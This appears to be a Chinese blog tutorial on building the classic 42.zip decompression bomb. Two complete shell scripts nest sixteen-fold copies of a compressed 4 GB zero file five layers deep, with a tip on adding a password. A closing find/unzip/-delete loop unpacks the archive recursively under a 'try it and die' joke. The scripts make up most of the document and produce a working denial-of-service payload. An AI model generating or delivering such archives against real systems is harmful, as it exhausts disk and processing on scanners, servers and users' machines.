用 Shell 编写一个 ZIP 炸弹

介绍

ZIP 炸弹的具体介绍请看维基百科:https://zh.wikipedia.org/wiki/Zip_%E7%82%B8%E5%BC%B9

比较著名的 ZIP 炸弹是 42.zip,这是一个只有 42 KB 的压缩包,但全部递归解压后的大小为 4.5 PB( 4,718,592 GB)!

他的原理是非常简单的,就是创建一个 4 GB 大小的由全零填充的文件(压缩比接近 100%),再将此文件压缩成 16 份,接着再把这 16 个压缩文件压缩成一个压缩文件,然后再把这个压缩文件复制 16 份,再接着压缩成一个文件,总共重复 5 次,最终得到一个 42 KB 大小的 ZIP 文件。

制作 42.zip

使用下面的 shell 代码可以制作一个 42.zip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# 创建一个全零填充的 4GB 文件并将其压缩
dd if=/dev/zero of=0.dll bs=1G count=4
zip -9 first.zip 0.dll

for i in {1..16}
do
cp first.zip page$i.zip
done

# 第 1 层
mkdir layer1
mv page*zip layer1/

for i in {1..16}
do
cd layer1
zip -9 ../doc$i.zip *
cd ..
done

# 第 2 层
mkdir layer2
mv doc*zip layer2/

for i in {1..16}
do
cd layer2
zip -9 ../chapter$i.zip *
cd ..
done

# 第 3 层
mkdir layer3
mv chapter*zip layer3/

for i in {1..16}
do
cd layer3
zip -9 ../book$i.zip *
cd ..
done

# 第 4 层
mkdir layer4
mv book*zip layer4/

for i in {1..16}
do
cd layer4
zip -9 ../lib$i.zip *
cd ..
done

# 第 5 层
mkdir layer5
mv lib*zip layer5/

cd layer5
zip -9 ../42.zip *

# 查看最终文件
ls -lh ../42.zip

# 清理文件
cd ..
rm -r layer* && rm first.zip

image.png

注意

  1. 使用 zip 命令前 cd 到目录内进行压缩的原因是,如果直接在外面进行压缩,会把目录名也压缩进去,即使指定了只压缩目录下的文件(zip -9 dir/*)也无效;
  2. 由于文件系统的影响(分配元数据,压缩效率等),最终得到的 42.zip 文件的大小不一定会是 42KB,但它的威力是一样的;
  3. 如果要给 42.zip 加上解压密码,则需要在 zip 命令后加上 -e 参数,终端会提示输入加密的密码。

更新:如果不考虑每个层级的文件命名,则可以使用嵌套循环优化重复代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 创建一个全零填充的 4GB 文件并将其压缩
dd if=/dev/zero of=0.dll bs=1G count=4
zip -9 first.zip 0.dll

for i in {1..16}
do
cp first.zip page$i.zip
done

# 第 1 层
mkdir layer1
mv page*zip layer1/

# 余下 4 层
for layer in {1..4}
do
next_layer=$((layer + 1))
mkdir layer$next_layer

for i in {1..16}
do
cd layer$layer
zip -9 ../layer$next_layer/doc$i.zip *
cd ..
done
done

cd layer5 && zip -9 ../42.zip * && cd ..
rm -r layer* && rm first.zip
ls -lh 42.zip

递归解压

试试就逝世😎

Linux 自带的解压工具默认并不支持递归解压 ZIP 文件中的 ZIP 文件,可以使用以下 shell 代码实现递归解压:

1
2
3
4
while find . -type f -name "*.zip" -exec unzip -- '{}' \; -delete 
do
:
done

非递归 ZIP 炸弹

参看此处:https://www.bamsoftware.com/hacks/zipbomb/